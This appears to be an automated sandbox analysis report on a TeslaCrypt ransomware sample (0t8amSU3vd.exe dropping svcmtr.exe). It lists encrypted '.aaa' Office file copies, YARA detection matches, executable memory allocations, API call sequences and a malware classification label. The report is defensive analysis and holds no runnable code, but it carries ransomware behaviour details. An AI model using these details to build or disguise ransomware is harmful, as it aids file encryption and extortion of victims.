Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME30.CSS.aaa (copy) entropy: 7.99849458796	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME31.CSS.aaa (copy) entropy: 7.99827898335	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME32.CSS.aaa (copy) entropy: 7.99831007926	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME33.CSS.aaa (copy) entropy: 7.99851675108	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME34.CSS.aaa (copy) entropy: 7.99830785461	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME35.CSS.aaa (copy) entropy: 7.99871655061	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME36.CSS.aaa (copy) entropy: 7.99854234655	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME37.CSS.aaa (copy) entropy: 7.99864581495	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME38.CSS.aaa (copy) entropy: 7.99869433103	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME39.CSS.aaa (copy) entropy: 7.99836415506	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME40.CSS.aaa (copy) entropy: 7.99825910238	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME41.CSS.aaa (copy) entropy: 7.99858776273	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME42.CSS.aaa (copy) entropy: 7.99827717241	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME43.CSS.aaa (copy) entropy: 7.99847625719	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME44.CSS.aaa (copy) entropy: 7.99878808928	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME45.CSS.aaa (copy) entropy: 7.99844741889	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME46.CSS.aaa (copy) entropy: 7.99841106271	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME47.CSS.aaa (copy) entropy: 7.99857325215	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME48.CSS.aaa (copy) entropy: 7.99835890105	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME49.CSS.aaa (copy) entropy: 7.99828105473	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME50.CSS.aaa (copy) entropy: 7.99853735855	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME51.CSS.aaa (copy) entropy: 7.99847590861	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME52.CSS.aaa (copy) entropy: 7.99852420294	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME53.CSS.aaa (copy) entropy: 7.99841576897	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME54.CSS.aaa (copy) entropy: 7.998399262	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME55.CSS.aaa (copy) entropy: 7.9984901335	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Program Files\Microsoft Office\Office14\SAMPLES\SOLVSAMP.XLS.aaa (copy) entropy: 7.99840356829	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.svcmtr.exe.240000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 12.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 13.2.svcmtr.exe.240000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 2.2.svcmtr.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 12.2.svcmtr.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 11.2.svcmtr.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 11.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 13.2.svcmtr.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 11.2.svcmtr.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0.2.0t8amSU3vd.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 12.2.svcmtr.exe.2c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0.2.0t8amSU3vd.exe.520000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0.2.0t8amSU3vd.exe.520000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 13.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 2.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs
Source: 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt Author: ReversingLabs

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041ED00 SHGetFolderPathW,GetModuleHandleW,RtlGetVersion,GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcessId,LoadIconW,RegisterClassExW,VirtualProtect,InterlockedExchange,CreateWindowExW,GetStartupInfoW,ExpandEnvironmentStringsW,CreateProcessW,CloseHandle,CloseHandle,CloseHandle,GetMessageW,TranslateMessage,GetMessageW,TranslateMessage,DispatchMessageW,UnregisterClassW,ExitProcess,	0_2_0041ED00
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041EA80 GetProcessHeap,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetSystemDirectoryA,_strcpy_s,GetProcessHeap,HeapFree,LoadLibraryExA,GetProcAddress,FreeLibrary,GetProcessHeap,HeapFree,	0_2_0041EA80
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041ED00 SHGetFolderPathW,GetModuleHandleW,RtlGetVersion,GetCurrentProcess,NtQueryInformationProcess,GetCurrentProcessId,LoadIconW,RegisterClassExW,VirtualProtect,InterlockedExchange,CreateWindowExW,GetStartupInfoW,ExpandEnvironmentStringsW,CreateProcessW,CloseHandle,CloseHandle,CloseHandle,GetMessageW,TranslateMessage,GetMessageW,TranslateMessage,DispatchMessageW,UnregisterClassW,ExitProcess,	2_2_0041ED00
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041EA80 GetProcessHeap,GetProcessHeap,HeapAlloc,NtQuerySystemInformation,GetProcessHeap,HeapFree,GetSystemDirectoryA,_strcpy_s,GetProcessHeap,HeapFree,LoadLibraryExA,GetProcAddress,FreeLibrary,GetProcessHeap,HeapFree,	2_2_0041EA80

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00404000	0_2_00404000
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0040E4F0	0_2_0040E4F0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041F490	0_2_0041F490
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00419090	0_2_00419090
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00422CA7	0_2_00422CA7
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004238A5	0_2_004238A5
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00417900	0_2_00417900
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00411510	0_2_00411510
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00411120	0_2_00411120
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00420580	0_2_00420580
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004039B0	0_2_004039B0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041F1B0	0_2_0041F1B0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041A670	0_2_0041A670
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041AE10	0_2_0041AE10
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004042E0	0_2_004042E0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004032F0	0_2_004032F0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041AEF9	0_2_0041AEF9
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041BA80	0_2_0041BA80
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041AAB0	0_2_0041AAB0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0040DF50	0_2_0040DF50
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00412300	0_2_00412300
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00422720	0_2_00422720
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00421B21	0_2_00421B21
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004127E0	0_2_004127E0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0040C380	0_2_0040C380
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_00411B80	0_2_00411B80
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B1AF5	0_2_003B1AF5
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0C6D	0_2_003B0C6D
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0C47	0_2_003B0C47
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0C8C	0_2_003B0C8C
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B00DD	0_2_003B00DD
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B00D3	0_2_003B00D3
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0CC0	0_2_003B0CC0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0131	0_2_003B0131
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B0119	0_2_003B0119
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B1B34	0_2_003B1B34
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B1B6A	0_2_003B1B6A
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_003B1BE9	0_2_003B1BE9
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00417900	2_2_00417900
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041AE10	2_2_0041AE10
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00404000	2_2_00404000
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0040E4F0	2_2_0040E4F0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00419090	2_2_00419090
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041F490	2_2_0041F490
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00422CA7	2_2_00422CA7
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004238A5	2_2_004238A5
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00411510	2_2_00411510
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00411120	2_2_00411120
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00420580	2_2_00420580
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004039B0	2_2_004039B0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041F1B0	2_2_0041F1B0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004042E0	2_2_004042E0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004032F0	2_2_004032F0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041AEF9	2_2_0041AEF9
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041BA80	2_2_0041BA80
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041AAB0	2_2_0041AAB0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0040DF50	2_2_0040DF50
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00412300	2_2_00412300
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00422720	2_2_00422720
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00421B21	2_2_00421B21
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004127E0	2_2_004127E0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0040C380	2_2_0040C380
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00411B80	2_2_00411B80
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00231AF5	2_2_00231AF5
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230C6D	2_2_00230C6D
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230C47	2_2_00230C47
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230C8C	2_2_00230C8C
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230CC0	2_2_00230CC0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_002300D3	2_2_002300D3
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_002300DD	2_2_002300DD
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230131	2_2_00230131
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00230119	2_2_00230119
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00231B34	2_2_00231B34
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00231B6A	2_2_00231B6A
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_00231BE9	2_2_00231BE9
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00231AF5	11_2_00231AF5
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230C6D	11_2_00230C6D
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230C47	11_2_00230C47
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230C8C	11_2_00230C8C
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230CC0	11_2_00230CC0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_002300D3	11_2_002300D3
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_002300DD	11_2_002300DD
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230131	11_2_00230131
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00231B34	11_2_00231B34
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00230119	11_2_00230119
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00231B6A	11_2_00231B6A
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 11_2_00231BE9	11_2_00231BE9
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B1AF5	12_2_002B1AF5
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0C6D	12_2_002B0C6D
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0C47	12_2_002B0C47
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0C8C	12_2_002B0C8C
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0CC0	12_2_002B0CC0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B00DD	12_2_002B00DD
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B00D3	12_2_002B00D3
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0131	12_2_002B0131
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B1B34	12_2_002B1B34
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B0119	12_2_002B0119
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B1B6A	12_2_002B1B6A
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 12_2_002B1BE9	12_2_002B1BE9
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00231AF5	13_2_00231AF5
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230C6D	13_2_00230C6D
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230C47	13_2_00230C47
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230C8C	13_2_00230C8C
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230CC0	13_2_00230CC0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_002300D3	13_2_002300D3
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_002300DD	13_2_002300DD
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230131	13_2_00230131
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00231B34	13_2_00231B34
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00230119	13_2_00230119
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00231B6A	13_2_00231B6A
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 13_2_00231BE9	13_2_00231BE9

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: String function: 004299A0 appears 31 times
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: String function: 004299A0 appears 31 times

Source: 0t8amSU3vd.exe, 00000000.00000002.345325863.00000000002AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 0t8amSU3vd.exe
Source: 0t8amSU3vd.exe, 00000000.00000003.344863487.00000000002AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 0t8amSU3vd.exe
Source: 0t8amSU3vd.exe, 00000000.00000000.343903709.0000000000518000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMacrobiotic.exe4 vs 0t8amSU3vd.exe
Source: 0t8amSU3vd.exe	Binary or memory string: OriginalFilenameMacrobiotic.exe4 vs 0t8amSU3vd.exe

Source: 0t8amSU3vd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 2.2.svcmtr.exe.240000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 12.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 13.2.svcmtr.exe.240000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 2.2.svcmtr.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 12.2.svcmtr.exe.2c0000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 11.2.svcmtr.exe.260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 11.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 13.2.svcmtr.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 11.2.svcmtr.exe.260000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.0t8amSU3vd.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 12.2.svcmtr.exe.2c0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.0t8amSU3vd.exe.520000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.0t8amSU3vd.exe.520000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 13.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 2.2.svcmtr.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware
Source: 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Win32_Ransomware_Teslacrypt tc_detection_name = Teslacrypt, author = ReversingLabs, tc_detection_type = Ransomware

Source: 0t8amSU3vd.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: svcmtr.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.evad.winEXE@26/1205@15/13

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_0041E810 GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,		0_2_0041E810
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_0041E810 GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,		2_2_0041E810

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Code function: 2_2_0041B2C0 GetVersionExW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

2_2_0041B2C0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

